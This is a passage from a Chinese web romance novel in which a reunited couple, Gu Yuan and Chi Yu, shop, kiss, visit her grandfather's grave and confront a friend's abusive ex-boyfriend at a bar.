顾鸢挑了好一会儿，扭头问迟瑜，“你喜欢哪对？”
迟瑜：“左手边的这对。”
“好的。”顾鸢把两个杯子放进去。
接下来又买了很多东西，两个人就像新婚的小夫妻一样，顾鸢想到什么拿什么，迟瑜偶尔给一两句建议，最后推车都被塞满了。
去结账的时候，迟瑜在排队，顾鸢在旁边挽着他的胳膊，两人低着头说话。
“不知道布丁能不能住得惯？”顾鸢有些担心，“它会不会不认得我了？”
“不会。”迟瑜揉了揉她的脑袋，温
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声道：“我跟它说了你回来，兴奋了一个下午。”
两人越排越前，前面的一对情侣结账的时候，男生顺手取了几盒避孕套放在一起结账，女生羞赧地抱怨，“拿一盒就好了，你拿这么多干什么？”
男生坦然，“这又不嫌多。”
女生的脸和脖子都要红透了，埋着脑袋不再说话。
顾鸢听完两人的对话，脑袋嗡嗡地响。
这个、也要买吗？
把推车里的东西都掏出来，顾鸢站在一侧，视线时不时往那边瞥。
但买的话，要买那种啊？好像还不一样……
“走了。”迟瑜伸手在顾鸢眼前晃了下，“在想什么？”
“没什么。”顾鸢收回目光，挽上他的手臂，仰头问：“都买够了，还有没有漏掉的？”
迟瑜垂眸睨了她一眼，淡声道：“够了，等需要了再买。”
顾鸢点点脑袋，“好吧，不过网购也很方便，明天我可能要加班，就没时间陪你了。”
迟瑜把东西放到后备箱，说道：“没关系，我也要忙一段时间。”
……
到家后，阿姨已经做好了晚餐，吃完饭顾鸢提着袋子把采购的东西取出来放好，迟瑜倚在门框上回消息，回完抬头看着她。
布丁上蹿下跳的，像个指挥官，时不时发表一下意见。
迟瑜拎着它说教，“我看你这精力不错，正好趁这会儿给你洗个澡。”
“喵！”布丁发出一声凄厉的尖叫。
顾鸢回头，“怎么了？”
“没事。”迟瑜按着布丁的脑袋，笑道：“叛逆了。”
看顾鸢没管它，逆子布丁的眼神都暗淡了下去。
布丁虽然有时候调皮，但总体很乖，但洗澡的时候，是布丁最叛逆的时候，每次迟瑜都想跟它打一架。
要不是因为这是顾鸢救的猫，他绝对不惯着它。
布丁和迟瑜冷冷地盯着对方看，谁也不服谁。
顾鸢收拾完出来，正好迟瑜湿漉漉的走进卧室。
他的头发和衣服上都沾满了水，裤子也湿了一大片。
看着竟然有种、别样的美。
顾鸢垂在身侧的指尖微微蜷缩，盯着迟瑜的视线有些黏稠，“你要不先去洗洗？”
迟瑜点头，继续往里走，“侧卧的浴室被布丁弄得一团糟，我来这边洗。”
“好的。”顾鸢的视线紧跟着他，直到人进了浴室，顾鸢抬手扇了扇，抬头看了眼空调，又调低了两度。
真是，想犯罪。
顾鸢下楼找布丁玩，虽然一人一猫很久没见了，但还是很快就熟络起来。
布丁在顾鸢面前全然没有一点拽样，任由顾鸢翻过来翻过去都十分配合，还会耍萌撒娇，惹得顾鸢一直笑。
“布丁，你怎么这么可爱啊？”顾鸢揉着它的脑袋，把脸都捏的变了形状。
“喵~”布丁软软地叫了身，眯着眼睛脑袋在顾鸢手里蹭了蹭。
迟瑜站在身后看着这一幕，很难不怀疑猫被掉包了。
实在是、从哪里学来的这些勾栏样式？
注意到迟瑜下来了，顾鸢扭头拉着他也坐下，笑着说道：“布丁好乖啊，要是以后我们的宝宝也能有这么乖就好了。”
闻言迟瑜瞳孔紧缩，不可置信地看着顾鸢。
她说，我们的、宝宝。
看着布丁越来越浮夸的行为，迟瑜皱着眉把它拎出去，拉着顾鸢站起来，“明天还要上班，早点休息。”
布丁幽怨地看了眼迟瑜，扭头迈着优雅的步伐离开。
迟瑜：“……”
“走吧，睡觉。”
顾鸢本以为迟瑜要跟她一起睡主卧，结果在主卧门口吻了下她的额头转身就要走。
顾鸢拉住他的手，“你去哪儿？不是要睡觉吗？”
迟瑜：“我去侧卧。”
顾鸢：“？”
“为什么要去侧卧？”
她主卧的床不够大吗？
舌尖在口腔里裹了一圈，迟瑜按着顾鸢的脖颈撬开她的唇齿，舌尖灵活的滑了进去。
顾鸢呜咽一声，后背抵着墙，双手揪住他的衣摆。
迟瑜吻地很重，像是要把顾鸢身体里的氧气都吸走，良久，在顾鸢要喘不过气来的时候，迟瑜一下一下地啄着她的唇角，沙哑低沉的嗓音响在耳畔，撩的人腿都有些站不稳。
“昨晚睡的沙发，今晚睡床没问题吧？”
85. 撩我
接下来几天顾鸢都很忙，晚上要加班到很晚，早上眯着眼睛起来，半梦半醒地吃了早餐去公司的路上都在补觉。
等进了公司大门，又是充满干劲的一天。
言酥这天不忙，就到顾鸢公司来找她了。
言酥大学学的英语专业，实习的时候去了学校代课，仅一个月就受不了。因为平时喜欢在网上发一些记录生活的琐碎视频，那个时候已经有了十几万的粉丝，索性在毕业后就做起了自媒体。
毕业一年粉丝涨了不少，收入也很可观，之前有公司想要签约，但她拒绝了。
午休的时候，言酥硬是拉着顾鸢去吃饭，“你就休息会儿吧，工作是做不完的。”
顾鸢回完一条消息，手托着腮看向言酥，“忙完这段时间就好一点了，你怎么没和徐百川一起回北京啊？”
“回去了也是各忙各的。”言酥把微信聊天记录翻给她看，“要不是晚上要打视频知道他是真人，我都要怀疑回我消息的是人机了，过来过去就这么几句话。而且他之前请了假，回去了肯定很忙，又没时间陪我，我呆在宁宜不就挺好的。”
顾鸢点了点头，“还以为就我们这样，这几天我跟迟瑜连话都说不上几句，这还是同在一个屋檐下。”
“不是吧。”言酥疑惑地打量着顾鸢，“你们现在是这种模式？”
顾鸢叹了口气，“等忙过这几天可能就……”
“不是。”言酥打断她的话，“你们俩这样怎么行呢？”
“你和徐百川不也这样？”顾鸢反问。
“那怎么能一样。”言酥义正言辞地说道：“我们这是老夫老妻，所以这样也没什么，可你们这恋爱就谈了半个月，然后就分开五年没见，现在好不容易见上了，而且都住一起了，就没有那种如胶似漆的感觉吗？”
顾鸢认真询问：“具体说说呢？”
言酥叹了口气，果然上帝是公平的，她姐妹长得漂亮脑子好，就是对感情这事一窍不通。
“按理说你们现在应该是热恋期，就是随时都想和对方说话，见到的听到的有趣的事都想和对方分享，自己做了什么也想和对方报备，见不到的时候呢总想他，见到了之后呢就想和他呆在一起。”
听言酥说完，顾鸢的表情变得严肃起来，这么一听她和迟瑜好像是有问题。
看到顾鸢的表情言酥就知道问题所在了，她语重心长地说：“浅浅，有的时候我觉得，你太过于理智了。”
理智吗？
理智不好吗？
下班时间一到，助理进来和顾鸢打了招呼，顾鸢拿起手机看了眼，几分钟前迟瑜发了消息问什么时候过来接她。
顾鸢看了眼桌上的文件，回他，【你忙完了吗，我随时可以】
对面回的很快，【现在就过来】
顾鸢抿唇，回他，【好】
放下手机，顾鸢揉了揉酸涩的脖子，锤了锤胳膊。
没几分钟，迟瑜就上来了。
顾鸢诧异，“你怎么这么快就来了？”
“正好在路上。”迟瑜走到椅子后面捏着顾鸢的肩膀给她按摩，“今天怎么这么早？”
顾鸢舒服的眯上了眼睛，今天她都有在想言酥说的问题。
从她和迟瑜在一起，到分开，再到又在一起，她总是把这些想的理所当然，好像既定的流程就该是这样。
她好像，没有问过迟瑜的想法，当初迟瑜要一个承诺，她也没有给他。
如果她没回来呢，她们还会有以后吗？
……
两人牵着手从大楼出来，天边成一片赤黄，顾鸢勾了勾迟瑜的小指，低声道：“迟瑜，我们这周去看外公，好吗？”
“好。”迟瑜抬手揽住顾鸢的肩膀，“回家吗？”
顾鸢扬唇，笑道：“回家。”
吃完饭顾鸢没有回书房，而是和布丁在院子里玩，迟瑜站在旁边跟江皓阳打电话。
江皓阳：“我服了，凌熙诺刚才敲门抱着一只猫说是找你的，我说你搬家了，她问我你在哪儿，我说不知道。兄弟，再有下次怎么办？”
迟瑜看着被顾鸢蹂躏到没脾气的布丁，薄唇勾起，“下次你直接给我打电话，不过应该不会有下次了。”
江皓阳叹气，“我一个外人都要被她的执着感动到了，你说她怎么就这么死心眼呢？上次遇到一个这么死心眼的人还是你。”
迟瑜本来要说的话在听到他后半句话的时候收了回去，“你这几天去过星期八吗？”
星期八是大学毕业回宁宜后几人合资开的一家酒吧，江皓阳是老板，迟瑜徐百川和肖毅只拿分红，平时也是江皓阳过去看着。
不过这几天江皓阳为了躲冷筱筱没去过。
“反正明天不上班，要不你今晚带着顾姐过来，我把言酥和祁蓉也喊上，咱们几个聚聚。”
迟瑜问顾鸢的意见，顾鸢表示可以。
布丁一看爸爸妈妈这是要去玩了，围着两人走个不停。
迟瑜把它拎起来朝里走，“乖乖待着，回来了给你带好吃的。”
布丁叫了两声，警告他说话算话。
忽悠好布丁，迟瑜牵上迟瑜的手出门。
在去的路上，迟瑜把酒吧的事告诉了顾鸢。
“就是上次接你的那家吗？”顾鸢在想要不要把碰到陈哲明的事告诉他。
“是。”迟瑜捏着顾鸢的手指，嗓音散漫，“江叔叔怕江皓阳不务正业，本来还打算让他到我的公司挂名，但江皓阳不干，就是要开酒吧，我们几个凑了点钱，江皓阳投入了很多精力才开起来。但是江叔叔还是想让他去学校当老师，说体育老师轻松，下班了也可以去酒吧。”
“老师也、不轻松吧。”
顾鸢想到言酥的吐槽，说她就是听了家里人的话实习的时候去了学校，没一个月就哭天喊地，徐百川经常去看她，言酥也是一直生病吃药，乳腺结节成了通病，外加被感染，所以是打死也不去了。
迟瑜认可地点了点头，“看我们高中的作息就知道了，根本就没什么假期，还经常无偿加班。”
“迟瑜，如果你没有开公司会做什么？”顾鸢侧身看着迟瑜，窗外街景飞逝，他依旧淡然看着前方，可车始终没有偏航。
迟瑜想了一会儿，说：“可能会去打职业，一开始我是代打和陪练，赚点钱，后来打的多了，也就慢慢喜欢上了。”
“所以你投资了迅风战队，对那几个家里有困难的学生也一直在资助。”顾鸢突然想到她去江北参加集训发烧那次，迟瑜就是因为这事，当时是有人想签他，但他拒绝了。
迟瑜偏眸看了一眼顾鸢，嗓音带着笑，“知道的这么清楚。”
“我男朋的事，当然要知道清楚了。”顾鸢轻笑一声，“毕竟我男朋友这么厉害又这么帅，我不多关注一点怎么能行。”
迟瑜停好车，看向顾鸢的眼神带着疑虑，“你今天有点不一样？”
顾鸢眨眼，“哪里不一样？”
迟瑜扣住顾鸢的脖颈，含住她的双唇，轻轻撕咬，顾鸢心跳的频率乱成一团，慢慢地抬起胳膊搂住迟瑜，忘情地回应着他。
车内的温度不断升高，顾鸢的眼神逐渐迷离起来，迟瑜松开，额头相抵，耳畔是粗重的喘息，顾鸢的脸颊热的像是要烫熟了一样，唇瓣上一片湿润。
迟瑜抬手擦到她唇上的水泽，嗓音低哑，“吃糖了，嘴巴这么甜。”
顾鸢的手抵在身前，呼吸短促，眸光潋滟，反问：“很甜吗？”
迟瑜扣着她的下巴，眸色浓郁，凑到顾鸢耳畔低语，“撩我？嗯~”
顾鸢红着脸推他，“我们下去吧，江皓阳等很久了。”
“他是老板，本来就在上班，算什么等？”迟瑜虽然这样说着，但还是退开身体，顺势解开顾鸢的安全带。
上次来的匆忙，顾鸢还没自己观察过这家酒吧，现下仔细一打量，风格竟然和温玉山庄的清吧是一样的。
朱棋和齐霁见到迟瑜来了，忙向他打照顾，“迟哥，老板说在楼上等你和嫂子，言姐和蓉姐刚才上去了。”
顾鸢朝两人点了点头。
迟瑜散漫地应了声。
果然，顾鸢和迟瑜进去的时候江皓阳和言酥已经玩嗨了，两人玩十五二十打手臂，江皓阳的手臂上红了一片。
祁蓉磕着瓜子，说：“这俩人也不嫌幼稚。”
言酥玩够了立马收手，瞥向顾鸢和迟瑜，“你们俩这是终于舍得来了。”
“有点堵车。”顾鸢坐过去和她们两个说话，“怎么不见江皓阳的女朋友？”
言酥慢吞吞地说：“又吵架了，两天不吵就不对劲。”
祁蓉抓了把瓜子给顾鸢，“对了，你见过冷筱筱吗，长的超级好看，御姐风的，自己有个工作室，很厉害。”
“没见过。”顾鸢想起上次见到的喻瑾，后来把衣服洗干净之后还专门送到了公司。
祁蓉的手机突然响了一声，拿起来看了眼，朝两人道：“我去下洗手间，你们先聊。”
祁蓉最近很苦恼，因为之前去顾鸢家里的时候碰到了姜煦庭，两人就加了联系方式，但也没有过多的交流，可自从
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她发现男朋友劈腿之后，总是能碰上姜煦庭。
先是她的老师，再是她的邻居，从帮忙带早餐，到顺路上学放学，祁蓉再傻也知道不对劲了。
刚才就是姜煦庭发的消息，说他要离开宁宜两天，麻烦她照顾一下家里的狗狗。
祁蓉咬着唇犹豫了几秒钟，答应下来。
祁蓉出来的时间有点久了，顾鸢给她发了消息也没回，立马出来找她。
楼道的转角处，祁蓉的前男友拽住祁蓉的胳膊不放手，死皮赖脸的说着两人的过往，“蓉蓉，你就原谅我这一次好不好，我真的知道错了，下次再也不敢了，我发誓。”
祁蓉的手腕被攥的生疼，皱着眉一脚踢在他下面，怒道：“薛转祥你个渣男是有什么脸说出这种话的，你劈腿难道是一个吗，你这个种马是谈了一个群，你的腿劈成四半都不够分。”
薛转祥疼的捂住下腹，脸上表情狰狞，“祁蓉，你这个贱人装什么清高，老子来见你是看的起你，信不信我告诉你的同学说你是见人就勾引的……”
“啪——”
顾鸢一连甩了他好几个巴掌，怒道：“哪来的苍蝇在这里乱叫，你是个什么东西也有脸说别人，说你是人渣你都不配，垃圾。”
薛转祥被打的脑袋发晕，看清顾鸢的长相后嘴里更是没有一句好话，“长成这样是出来……”
顾鸢手刚抬到半空，薛转祥就被一脚踢了出去，重重地砸在后面的墙上。
迟瑜摘下手腕上的表递到顾鸢手里，揉了揉顾鸢打红的手，温声道：“先和祁蓉回去，我等会儿就进来。”
顾鸢：“你注意分寸。”
“放心。”迟瑜按着顾鸢的肩膀把人转了个身，朝祁蓉道：“她手红了，帮忙找个冰袋敷一下。”
祁蓉：“好、好的。”
两个姑娘离开，有侍者过来堵在楼道里免得有人过来。
迟瑜边挽衣袖边朝薛转祥走过去。
-
回到包厢，江皓阳一听出了事连忙跑了出去。
祁蓉的手腕被抓破了皮，言酥一边帮她处理伤口一边晦气地说：“要不是没有我的发挥空间我高低给他两脚。”
顾鸢问言酥，“他一直骚扰你吗？”
言酥摇头，“倒是没有，平时我除了上课就在家里待着，分手以后就见过他一次，今天也不知道怎么就碰上了。”
“这种渣滓，就该关进监狱永远也不要放出来，免得再去祸害别人。”言酥心疼的帮言酥贴好创可贴，“不过迟瑜出手，他也没什么好果子吃。”
顾鸢想着要不要跟姜煦庭说一声，可这是祁蓉的私事，她说了是不是不好。
-
江皓阳在一旁看着，就怕迟瑜给人揍咽气了，好在迟瑜从小打架，知道怎么打能避免伤到要害又能让人生不如死。
迟瑜打够了，甩开薛转祥朝侍者道：“救护车叫了没有？”
“叫了迟哥，应该快到了。”
迟瑜点了点头，转身往洗手间走。
水流冲刷着手背，血渍和着水留了下来。
江皓阳靠着洗手台，说：“那东西说顾姐了？”
不然也不会下这么重的手，帮他打架那次也没这么狠厉。
迟瑜淡淡地嗯了一声，手背破了点皮，迟瑜恍如没有看见，转身往出走。
江皓阳拽住他，“先把你身上的戾气消一消，里面坐着三个女生。”
走廊尽头，迟瑜点了根烟捏在手里，火光明灭，他垂着脑袋，眼底神色晦暗不明，身上的气息很冷。
不是顾鸢离开后落寞的冷，是充满压制不住戾气的冷。
江皓阳张了张嘴，最后倚着墙陪他。
良久，迟瑜指尖的烟燃到了尽头，他才慢慢抬起脑袋，将烟头弹进垃圾桶里。
江皓阳叹了口气，“每次顾姐的事你都失控，以后尽量控制着点，起码别让她看到，再者你也要想想以后，你这酒不喝烟不吃的，别说你在备孕。”
迟瑜眉心一跳，视线投到江皓阳身上。
江皓阳：“我说你们要不要这么急，这以后叫你出来你不是陪老婆就是陪孩子，以我对你的了解，我这地位又得往后排了。”
迟瑜嗤道：“滚，浅浅之前提起过一次宝宝，以后别叫我喝酒了。”
江皓阳：“艹，无情。”
迟瑜勾唇笑了下，揽着江皓阳的肩膀往包厢走，“羡慕也没用，我是有家世的人，以后不合适的局就不要叫我了。”
江皓阳翻了个白眼，“王宝钏来了都得叫你一声师祖。”
86. 宝宝
包厢里，言酥正愤怒地说着：“我一定要曝光这个八脚兽了，虽然法律制裁不了他，但这个社会上还有公序良俗，这种货色要是真流通出去了，指不定还有多少女孩被渣，真是气死我了。”
祁蓉拉着她的手说道：“你先消消气，这种人要是被逼急了还不一定会做什么，我们的父母都认识，我先跟我爸妈说一声，让他们有个心理准备。”
顾鸢也说道：“有什么需要记得告诉我们。”
“放心。”祁蓉抿了抿唇，“那个，有人来接我了，我先走了。”
言酥这会儿还在起头上，没有看出祁蓉神色的不自在，挽起她的胳膊说道：“我们一起，我可不要留在这里当电灯泡。”
江皓阳和迟瑜推门进来。
江皓阳朝站起来的祁蓉和言酥说道：“我送你们。”
“不用。”言酥摆手，“蓉蓉有人接，我开车了。”
江皓阳：“那行，我送你们俩下去。”
其他人一走，包间里就剩下迟瑜和顾鸢，顾鸢看到迟瑜的手破了皮，拉着他坐下，刚才用完的医药箱正好还在。
顾鸢拿出碘伏和棉签，垂着脑袋，头发拂到了胳膊上。
迟瑜凝眸看着她，顾鸢皮肤白皙，脸上的绒毛清晰可见，唇上不知道涂的什么口红，上面还覆着一层水雾，迟瑜的视线逐渐灼热。
“好了。”顾鸢把用过的棉签怎么丢进垃圾桶里，抬眸看他，“还有哪里、这么看着我？”
迟瑜抬手，指腹摩挲着她的脸颊，“高兴。”
顾鸢不解，“嗯？”
迟瑜牵着她站起来，“走吧，回家。”
回去的路上，顾鸢收到了姜煦庭的消息，说他已经把祁蓉安全送到家了。
之前在酒吧，顾鸢还在纠结要不要让姜煦庭来接祁蓉的时候，姜煦庭发消息问她酒吧的地址。
虽然姜煦庭是她表哥，但感情的事顾鸢不好多问，两人能走到什么地方全凭他们自己，除非祁蓉来问她姜煦庭的事。
迟瑜侧眸瞥了眼顾鸢，问道：“在想什么？”
“在想祁蓉的事，她男朋友劈腿被祁蓉撞见的事应该有表哥的手笔。”顾鸢扭头看向他，“对了，祁蓉的男朋友你之前见过吗？”
迟瑜摇头，“没有，今天是第一次见。”
“哦。”顾鸢抬眸是瞥见车窗外一闪而过的成人用品店，她的脸颊倏地一热，睫毛颤动，垂下了脑袋。
-
顾鸢第二天早上醒来，隐约听到门外一人一猫的声音。
“不可以进去。”
“喵~”
“再吵就把你送回去。”
“喵！”
“今天的零食不想要了？”
“喵~~”
顾鸢把门打开，一人一猫齐齐看了过来。
“外面下雨了？”
顾鸢穿着吊带睡衣，胸口半遮，裙摆堪堪遮住大腿，弯腰抱布丁的时候胸前的春光一览无余，迟瑜眼眶微热，伸手把布丁拎开，嗓音淡淡的，“等会儿应该就停了，你先洗漱，我带布丁去吃早饭。”
迟瑜说完转身就走，布丁喵喵地叫着表示不满。
顾鸢哑然，走这么快干什么？她吃人吗？
进了浴室，顾鸢看着镜子里的自己给边秣发消息，然后把手机放到台面上。
洗漱的时候，顾鸢都在想迟瑜的反应，怎么和边秣描述的不一样。
不是说男生害羞脸上红温流鼻血吗，怎么掉头走了？
吃完早餐，外面的雨果然停了，在布丁的强烈不满下，只好把它带上。
路上买了一束鸢尾花，顾鸢说道：“外公要向外婆表明心意的时候去山上采了很多鸢尾和狗尾巴草，用家里的旧报纸包好送给外婆表白，当时好多人都羡慕外婆呢。”
“那个时候外婆家里的成分不好，外公是下乡的知青，有很多人不看好他们，但两人还是走到了一起。”
迟瑜：“外公之前也跟我讲过一些，说他当时和外婆在一起是高攀，他们一批的知青都羡慕他，说他是靠着脸勾.引了外婆。”
顾鸢：“看我妈妈和舅舅就知道，外公和外婆当年可是十里八村好看到出名的人，外婆以前也是娇养的，后来家里出了事，吃了很多苦，还吓出了病，所以外公从来都不在外婆面前大声说话，就算两人闹了矛盾也是自己生闷气，然后再去找外婆道歉。”
“所以你就充当了两人的传话筒。”迟瑜笑道：“结果传话的时候跑去看楼下的大爷下棋把正事忘了。”
顾鸢脸上一囧，“这你都知道，外公还真是什么都跟你说了。”
迟瑜笑，“外公说了很多。”
顾鸢脸上一热，有种强烈的羞耻感。
接下来两人都没有说话，到了墓地，布丁留在车上，顾鸢和迟瑜牵着手去看望外公。
顾鸢弯腰拿出手帕擦着外公的墓碑，边擦边说道：“外公，浅浅来看你了，是不是在怪我这么久没来。”顾鸢说着话音一转，“您现在记得住迟瑜了吧，怎么把我的囧事也说了，您外孙我不丢人啊。”
“哪有丢人，明明很可爱。”迟瑜半蹲下来，语气玩味，“虽然看下棋耽误了时间，但回家的路上还劝和了一对吵架的大爷大妈呢，我们浅浅超级棒。”
顾鸢的脸热得都要烧起来了，羞赧道：“别说了，不然我改天也去问叶阿姨你小时候的囧事。”
迟瑜果断地转移了话题，揽住顾鸢肩膀，说道：“你回来外公就很开心了，等下次来或许我们还要带一个好消息给他老人家。要不要跟外公讲讲你在国外的事。”
顾鸢眨了眨眼睫毛，试图褪去眼眶里的湿润，嗓音有些低，“我都在学校和宿舍两边跑，除了上课就是作业论文，好像真没什么有意思的事。”
闻言迟瑜眼眸微黯。
顾鸢继续说道：“不过我可争气了，毕业的时候老师都夸我优秀呢。”
今天的雨总是一阵一阵的，这会儿又下了起来，迟瑜拉着顾鸢站起来，说：“我们先回去，下次再来看外公。”
顾鸢：“好。”
两人回到车上的时候身上淋了雨，迟瑜从后座拿出毛巾帮顾鸢擦着头发，顾鸢接过毛巾自己擦，“我自己来，你的头发也湿了，快擦一下。”
话落布丁吊了一条毛巾跑到迟瑜腿上。
“布丁真棒。”顾鸢挠了挠它的脑袋夸它，布丁立马躺下来翻了个身，眼眸圆圆的看过来。
迟瑜真的很怀疑，是不是江皓阳带着它看了什么，这猫都要成精了，撒娇卖萌这么熟练，不知道的还以为……
“迟瑜，布丁有没有女朋友？”顾鸢突发奇想地问。
迟瑜一愣，“没有吧，怎么这么问？”
“没什么，就是随口一问。”顾鸢揪了下布丁的胡须，说道：“我们布丁长这么漂亮，出去了肯定很受欢迎。”
这倒是真的，迟瑜想到给布丁绝育那次，事后还跟他冷战了好几天，恰好那段时间是寒假，他一心想着顾鸢会不会回来也有些忽略它。
到家之后布丁就自己去玩了。
两人身上淋了雨，难免有些不舒服，各自回房间去换衣服。
换了一身舒适的居家服，顾鸢坐在沙发上想着下午两人可以在一起看个电影，然后再吃个烛光晚餐，然后……
看到迟瑜换了西装，顾鸢微怔。
迟瑜走到顾鸢面前半蹲下，眼里都是歉意，拉着顾鸢的手说道：“抱歉，公司临时有事，我得过去一趟，忙完我立马回来。”
顾鸢眼底闪过稍纵即逝的落寞，很快又道：“没关系，你去忙吧，我可以找祁蓉和言酥。”
迟瑜扣住顾鸢的脖颈吻住她的唇，唇瓣被撬开，顾鸢双手抵在迟瑜胸口，忘情地回应着他，两人接了一个热吻，迟瑜又亲了亲顾鸢的额头，嗓音沙哑，“先走了，有事打我电话，随时都能接。”<
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“嗯。”顾鸢推了推他的肩膀，脸上的热意还没有散开，嗓音温软，“快走吧，让人家等久了不好。”
“好。”迟瑜又重重吻了下顾鸢的唇，才起身往外走。
顾鸢在沙发上缓到呼吸平复，想了想决定去找祁蓉。
出发前问了祁蓉，但她没有回消息。顾鸢以为她在忙没看见，到了祁蓉家小区的楼下，进了电梯又给祁蓉打去电话。
铃声响了好一会儿对面才接通，声音听着有些哑，“浅浅，怎么啦？”
顾鸢神色微怔，“你今天有课吗？要不要一起出去玩？”
对面停了几秒钟才回答，“抱歉浅浅，我有点事，可能去不了。”
“没关系，你忙。”
挂了电话，顾鸢又给言酥发去消息。
言酥说她在文化街那边，顾鸢开车过去。
言酥老远看到顾鸢，就朝她招手，“浅浅，这儿。”
顾鸢微笑，正要说话，视线触及前面的一家三口，脸上的笑意尽数遮掩，顾鸢敛下眸，朝言酥那边走过去。
言酥介绍她旁边的女生，“浅浅，这是橙子，一位美食博主。”
小姑娘梳着丸子头，穿搭很减龄，看着跟刚毕业高中生一样，她笑起来的时候眼眸弯弯的，非常漂亮，“你好，我叫苏橙。”
“你好，我是顾鸢。”
言酥略带调侃地说道：“怎么有空找我，没和你家迟总约会？”
顾鸢假装没听出她的打趣，说：“他公司临时有事，刚走。”
言酥：“这样啊。”
顾鸢抬眸看了眼窗外，顾绍辉抱着一个男孩，满脸的笑意，旁边的女人拿着手机，三个人在自拍。
苏橙说道：“刚才酥酥还说呢，她身边的人都是超级漂亮的大美女，我还不信，没想到这么快就打脸了，你刚刚走过来的时候我差点都以为你是哪个大明星了。”
“不是，我对进娱乐圈没什么兴趣，而且家里人也不是很支持，觉得太幸苦了。”顾鸢抿了口咖啡，唇齿间都是苦涩。
苏橙感叹道：“这就是传说中的被拉去继承家产了吧，羡慕。”
“大小姐，别哪一天你也被抓回去。”言酥幸灾乐祸地说道：“你这次跑出来没被发现吧？”
闻言苏橙警惕地看了眼四周，拿起包包和手机，“突然像起来我还有一个视频没有剪辑，我先走了，下次约。”
苏橙走后，言酥握住顾鸢的手，温声道：“我们换个地方吧，那边有家美容院，我们去做美容。”
“好。”顾鸢敛去眼底神色，和言酥往外走。
言酥是这家店的老客户，两人进去之后立马就有人接待，顾鸢没有再想刚才看到的人。
做完出来，顾鸢给迟瑜发消息。
【什么时候忙完？】
迟瑜很快回了过来，【忙到很晚了，你先睡，不要等我】
顾鸢抿唇，回他，【好】
于是顾鸢和言酥又去吃了饭，两人才分开各回各家。
顾鸢和布丁在沙发上看了几集综艺迟瑜都没有回来，直到顾鸢打盹猛地醒来才发现布丁已经趴在她腿上睡着了。
把布丁抱回小窝，顾鸢揉了揉脖子，看了时间，已经凌晨了。
顾鸢想了想，给迟瑜打了个电话过去，对面很快接通。
迟瑜的声音传了过来，“宝宝，还没睡？”
顾鸢斜躺在沙发上，眼眸半阖，“刚醒，你什么时候回来？”
迟瑜心底一软，靠坐在办公桌上，唇角翘起，“马上，你先睡。”
“好。”顾鸢应完，把毯子往上拉了拉，继续闭上眼睛。
挂了电话，迟瑜让大家都回去，自己也拿上外套下楼。
“我去，刚才说话那个是老板吗，没被夺舍吧。”
“他叫宝宝哎，好宠溺啊。”
“宝宝，打车费报销，再不走阿飘找你叫宝宝了。”
87. [锁] [此章节已锁]
迟瑜一进客厅就看到顾鸢睡在沙发上，他放轻脚步走过去蹲下。
顾鸢侧着身，睡很沉，小脸温软瓷白，粉嫩的双唇饱满细腻，像一颗可以采撷的桃子。
迟瑜伸手穿过腋下，将人抱起往楼上走，顾鸢悠悠转醒，看清是迟瑜，脑袋在他脖颈蹭了蹭。
“醒了？”
顾鸢掀开眼帘看他，“忙完了吗？”
“完了，下次不用等我。”迟瑜把顾鸢抱到床上，而后在床边蹲下，“睡吧。”
顾鸢抓住他的胳膊，迟瑜挑眉，语气带了几分揶揄，“怎么？”
“没什么。”顾鸢把手收进被子里，脸也被遮住了一大半，“你早点休息。”
迟瑜俯身在他额头落下一吻，“晚安。”
-
接下来几天，顾鸢每天都和迟瑜一起上下班。周五这天家里的阿姨请了假，晚上迟瑜主厨。
顾鸢跟着他去了厨房，“我可以帮点什么吗？”
迟瑜拿了一盒草莓给她，“把这个洗了。”
“好的。”
洗完了草莓，顾鸢先拿了一颗去喂迟瑜，“尝尝？”
迟瑜张口含住，唇瓣擦过指腹，顾鸢手指一酥麻，忙收了回来，“怎么样，甜吗？”
迟瑜点头，“嗯，甜。”
顾鸢又拿了一颗自己吃，忽然眼前覆下一道阴影，迟瑜吻住了她，唇瓣被撬开，舌尖扫过口腔，牙齿将草莓咬破，汁液顺着唇角留到下巴。
顾鸢微仰着脖颈，手里的盘子早就放到了台上。
迟瑜滚动着喉结，将草莓的汁液吸走，而后又吻在唇角、下巴，舌尖将溢出的汁液舔舐干净。
末了，他低低地笑着，“这颗更甜。”
顾鸢只觉得脸颊烫的要着火了一样，他怎么能，这么色.情？
在好胜心的驱使下，顾鸢又从盘子里拿了一颗塞到迟瑜口中，按着他的脖颈往下拉，唇瓣覆了上去。
往常都是迟瑜主动，顾鸢虽然心慌，但还是大着胆子学他，先将唇瓣撬开，舌尖滑了进去，因为没什么经验，总是不得章法。
却又正是这样，迟瑜只觉得身体要着火，举着顾鸢的腋下将人抱到了开放式的岛台上，台面冰凉，顾鸢下意识缩了下往迟瑜怀里靠，迟瑜捏住她的下巴，吻地粗暴，啃咬撕扯，像是要将她口中的氧气全部吸干。
结束的时候，两人的衣衫都凌乱不堪，顾鸢的裙子被掀了上去，迟瑜衬衣的扣子也崩掉了几颗。
顾鸢眼眶含着泪，看的迟瑜眸中欲色更上，眼尾的红多了几分妖冶。
迟瑜指腹摩挲着顾鸢的唇瓣，嗓音嘶哑，“宝宝，先去客厅找布丁玩，饭好了叫你。”
“嗯。”顾鸢应完从岛台上跳下来，怎料腿一软扑到迟瑜怀里，顾鸢听到一声粗喘，垂眸一眼，她的手正按在迟瑜的小腹处。
救命啊？
顾鸢的脑袋当场就宕机了，她、她、她、她摸到了……
忽然身体腾空，顾鸢下意识搂住迟瑜的脖颈，转息之间，顾鸢被放到沙发上，迟瑜转身大步离开。
顾鸢紧咬住唇，脸颊红的几乎能滴出血。
……
吃完饭，两人去了负一楼的影音室，顾鸢觉得有些无聊，又去藏酒室拿了几瓶酒过来。
迟瑜眉心一跳，“想喝酒？”
“其实我的就酒量也没有那么差了，之前在美国的时候压力太大就会喝一些，久而久之就练出来了。”顾鸢把其中一瓶给迟瑜，“而且现在是在家里，喝点没事。”
迟瑜接过酒瓶，顾鸢已经仰头喝了几口，举手抬足的姿势间颇有几分肆意不羁的洒脱，模样看着还挺熟练。
“经常喝？”
顾鸢微怔，“也没有，就偶尔。”
很想他，很想他的时候。
放的是一部最新上映的喜剧电影，顾鸢看的唇角翘了起来。
迟瑜的视线一直落在身旁，看她熟练的喝酒姿势，手心连着胳膊像是被打了麻药，连带着心脏也刺痛了下。
“你怎么不喝？”顾鸢看他连瓶塞都没开，“我帮你开？”
“不……”迟瑜话还没说完，顾鸢就拿过去帮他打开了，“要不我们比一比，看看我能不能把你喝趴下。”
“我？”迟瑜坐直了身体，俯身凑近顾鸢，“你喝趴我？”
